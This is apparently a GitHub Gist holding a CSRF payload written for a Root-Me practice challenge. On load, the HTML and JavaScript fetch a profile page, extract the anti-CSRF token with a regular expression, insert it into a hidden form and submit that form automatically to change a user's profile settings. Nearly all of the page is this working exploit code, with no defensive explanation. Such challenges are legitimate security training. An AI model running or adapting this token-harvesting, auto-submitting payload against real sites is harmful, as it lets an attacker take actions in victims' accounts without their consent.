-
-
Save Murthysagi/52c1f8a41f6e142e84323956e99dcec4 to your computer and use it in GitHub Desktop.
CSRF payload for token based mechanism (root-me sample)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<body onload="get()"> | |
<form id="form-payload" action="?action=profile" method="POST" enctype="multipart/form-data"> | |
<input type="hidden" name="username" value="your_username"/> | |
<input type="hidden" name="status" value="on"/> | |
<input type="hidden" id="forged-token" name="token" value=""/> | |
<input type="submit" value="go"/> | |
</form> | |
<script> | |
var x = new XMLHttpRequest(); | |
function get() { | |
x.open("GET","?action=profile",true); | |
x.send(null); | |
} | |
x.onreadystatechange = function() { | |
if (x.readyState == XMLHttpRequest.DONE) { | |
var token = x.responseText.match(/name="token" value="(.+)"/)[1]; | |
document.getElementById("forged-token").value = token; | |
document.getElementById("form-payload").submit(); | |
} | |
} | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment